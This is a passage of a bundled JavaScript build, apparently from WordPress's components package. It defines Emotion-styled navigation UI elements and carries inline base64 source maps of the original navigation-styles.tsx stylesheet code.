bmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVUkgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRoZWlnaHQ6IGF1dG87XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDEuNSApIH0gJHsgc3BhY2UoIDQgKSB9O1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0d2lkdGg6IDEwMCU7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRvcGFjaXR5OiAwLjc7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUljb25VSSA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFkZ2VVSSA9IHN0eWxlZC5zcGFuYFxuXHRtYXJnaW4tbGVmdDogJHsgKCkgPT4gKCBpc1JUTCgpID8gJzAnIDogc3BhY2UoIDIgKSApIH07XG5cdG1hcmdpbi1yaWdodDogJHsgKCkgPT4gKCBpc1JUTCgpID8gc3BhY2UoIDIgKSA6ICcwJyApIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRAa2V5ZnJhbWVzIGZhZGUtaW4ge1xuXHRcdGZyb20ge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdFx0dG8ge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRhbmltYXRpb246IGZhZGUtaW4gMjUwbXMgZWFzZS1vdXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVGl0bGVVSSA9IHN0eWxlZCggVGV4dCApYFxuXHQkeyAoKSA9PiAoIGlzUlRMKCkgPyAnbWFyZ2luLWxlZnQ6IGF1dG87JyA6ICdtYXJnaW4tcmlnaHQ6IGF1dG87JyApIH1cblx0Zm9udC1zaXplOiAxNHB4O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuIl19 */",
43503 toString: _EMOTION_STRINGIFIED_CSS_ERROR__34
43504 });
43505 var MenuTitleActionsUI = /* @__PURE__ */ createStyled("span", false ? {
43506 target: "eeiismy6"
43507 } : {
43508 target: "eeiismy6",
43509 label: "MenuTitleActionsUI"
43510 })("height:", space(6), ";.components-button.is-small{color:inherit;opacity:0.7;margin-right:", space(1), ";padding:0;&:active:not( :disabled ){background:none;opacity:1;color:inherit;}&:hover:not( :disabled ){box-shadow:none;opacity:1;color:inherit;}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5hdmlnYXRpb24tc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyRTZDIiwiZmlsZSI6Im5hdmlnYXRpb24tc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29sb3JzLXZhbHVlcyc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uLy4uL2J1dHRvbic7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdGlvblVJID0gc3R5bGVkLmRpdmBcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHBhZGRpbmc6IDAgJHsgc3BhY2UoIDQgKSB9O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lbnVVSSA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCA2ICkgfTtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR1bCB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRtYXJnaW46IDA7XG5cdFx0bGlzdC1zdHlsZTogbm9uZTtcblx0fVxuXHQuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19iYWNrLWJ1dHRvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5cblx0LmNvbXBvbmVudHMtbmF2aWdhdGlvbl9fZ3JvdXAgKyAuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19ncm91cCB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudUJhY2tCdXR0b25VSSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYuaXMtdGVydGlhcnkge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblxuXHRcdCY6aG92ZXI6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlVUkgPSBzdHlsZWQuZGl2YFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVUkgPSBzdHlsZWQuZGl2YFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRoZWlnaHQ6IGF1dG87XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogJHsgc3BhY2UoIDEuNSApIH0gJHsgc3BhY2UoIDQgKSB9O1xuXHRmb250LXdlaWdodDogNDAwO1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0d2lkdGg6IDEwMCU7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRvcGFjaXR5OiAwLjc7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUljb25VSSA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFkZ2VVSSA9IHN0eWxlZC5zcGFuYFxuXHRtYXJnaW4tbGVmdDogJHsgKCkgPT4gKCBpc1JUTCgpID8gJzAnIDogc3BhY2UoIDIgKSApIH07XG5cdG1hcmdpbi1yaWdodDogJHsgKCkgPT4gKCBpc1JUTCgpID8gc3BhY2UoIDIgKSA6ICcwJyApIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRwYWRkaW5nOiAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDMgKSB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRAa2V5ZnJhbWVzIGZhZGUtaW4ge1xuXHRcdGZyb20ge1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHR9XG5cdFx0dG8ge1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRhbmltYXRpb246IGZhZGUtaW4gMjUwbXMgZWFzZS1vdXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtVGl0bGVVSSA9IHN0eWxlZCggVGV4dCApYFxuXHQkeyAoKSA9PiAoIGlzUlRMKCkgPyAnbWFyZ2luLWxlZnQ6IGF1dG87JyA6ICdtYXJnaW4tcmlnaHQ6IGF1dG87JyApIH1cblx0Zm9udC1zaXplOiAxNHB4O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuIl19 */"));
43511 var GroupTitleUI = /* @__PURE__ */ createStyled(component_default19, false ? {
43512 target: "eeiismy5"
43513 } : {
43514 target: "eeiismy5",
43515 label: "GroupTitleUI"
43516 })("min-height:", space(12), ";align-items:center;color:inherit;display:flex;justify-content:space-between;margin-bottom:", space(2), ";padding:", () => (0, import_i18n60.isRTL)() ? `${space(1)} ${space(4)} ${space(1)} ${space(2)}` : `${space(1)} ${space(2)} ${space(1)} ${space(4)}`, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIm5hdmlnYXRpb24tc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpRzZDIiwiZmlsZSI6Im5hdmlnYXRpb24tc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBXb3JkUHJlc3MgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGlzUlRMIH0gZnJvbSAnQHdvcmRwcmVzcy9pMThuJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29sb3JzLXZhbHVlcyc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uLy4uL2J1dHRvbic7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBIZWFkaW5nIH0gZnJvbSAnLi4vLi4vaGVhZGluZyc7XG5pbXBvcnQgeyBydGwsIENPTkZJRyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgTmF2aWdhdGlvblVJID0gc3R5bGVkLmRpdmBcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdHBhZGRpbmc6IDAgJHsgc3BhY2UoIDQgKSB9O1xuXHRvdmVyZmxvdzogaGlkZGVuO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lbnVVSSA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCA2ICkgfTtcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR1bCB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRtYXJnaW46IDA7XG5cdFx0bGlzdC1zdHlsZTogbm9uZTtcblx0fVxuXHQuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19iYWNrLWJ1dHRvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5cblx0LmNvbXBvbmVudHMtbmF2aWdhdGlvbl9fZ3JvdXAgKyAuY29tcG9uZW50cy1uYXZpZ2F0aW9uX19ncm91cCB7XG5cdFx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDYgKSB9O1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudUJhY2tCdXR0b25VSSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdCYuaXMtdGVydGlhcnkge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblxuXHRcdCY6aG92ZXI6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlVUkgPSBzdHlsZWQuZGl2YFxuXHRvdmVyZmxvdzogaGlkZGVuO1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBNZW51VGl0bGVTZWFyY2hDb250cm9sV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdG1hcmdpbjogMTFweCAwOyAvLyBub24taWRlYWwgaGFyZGNvZGluZyB0byBtYWludGFpbiBzYW1lIGhlaWdodCBhcyBIZWFkaW5nLCBjb3VsZCBiZSBpbXByb3ZlZFxuXHRwYWRkaW5nOiAxcHg7IC8vIHNvIHRoZSBmb2N1cyBib3JkZXIgZG9lc24ndCBnZXQgY3V0IG9mZiBieSB0aGUgb3ZlcmZsb3cgaGlkZGVuIG9uIE1lbnVUaXRsZVVJXG5gO1xuXG5leHBvcnQgY29uc3QgTWVudVRpdGxlQWN0aW9uc1VJID0gc3R5bGVkLnNwYW5gXG5cdGhlaWdodDogJHsgc3BhY2UoIDYgKSB9OyAvLyAyNHB4LCBzYW1lIGhlaWdodCBhcyB0aGUgYnV0dG9ucyBpbnNpZGVcblxuXHQuY29tcG9uZW50cy1idXR0b24uaXMtc21hbGwge1xuXHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdG9wYWNpdHk6IDAuNztcblx0XHRtYXJnaW4tcmlnaHQ6ICR7IHNwYWNlKCAxICkgfTsgLy8gQXZvaWQgaGlkaW5nIHRoZSBmb2N1cyBvdXRsaW5lXG5cdFx0cGFkZGluZzogMDtcblxuXHRcdCY6YWN0aXZlOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0YmFja2dyb3VuZDogbm9uZTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHR9XG5cdFx0Jjpob3Zlcjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0Y29sb3I6IGluaGVyaXQ7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JvdXBUaXRsZVVJID0gc3R5bGVkKCBIZWFkaW5nIClgXG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCAxMiApIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGNvbG9yOiBpbmhlcml0O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdG1hcmdpbi1ib3R0b206ICR7IHNwYWNlKCAyICkgfTtcblx0cGFkZGluZzogJHsgKCkgPT5cblx0XHRpc1JUTCgpXG5cdFx0XHQ/IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDQgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZSggMiApIH1gXG5cdFx0XHQ6IGAkeyBzcGFjZSggMSApIH0gJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCAxICkgfSAkeyBzcGFjZShcblx0XHRcdFx0XHQ0XG5cdFx0XHQgICkgfWAgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQmFzZVVJID0gc3R5bGVkLmxpYFxuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0Y29sb3I6IGluaGVyaXQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cblx0PiBidXR0b24sXG5cdD4gYS5jb21wb25lbnRzLWJ1dHRvbixcblx0PiBhIHtcblx0XHR3aWR0aDogMTAwJTtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRvcGFjaXR5OiAwLjc7XG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDIgKSB9ICR7IHNwYWNlKCA0ICkgfTsgLyogOHB4IDE2cHggKi9cblx0XHQkeyBydGwoIHsgdGV4dEFsaWduOiAnbGVmdCcgfSwgeyB0ZXh0QWxpZ246ICdyaWdodCcgfSApIH1cblxuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1czpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKTphY3RpdmUsXG5cdFx0JjphY3RpdmU6bm90KCBbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICk6YWN0aXZlIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQmLmlzLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblxuXHRcdD4gYnV0dG9uLFxuXHRcdC5jb21wb25lbnRzLWJ1dHRvbjpob3Zlcixcblx0XHQ+IGEge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnRJbnZlcnRlZCB9O1xuXHRcdFx0b3BhY2l0eTogMTtcblx0XHR9XG5cdH1cblxuXHQ+IHN2ZyBwYXRoIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDYwMCBdIH07XG5cdH1cbmA7XG5cbmV4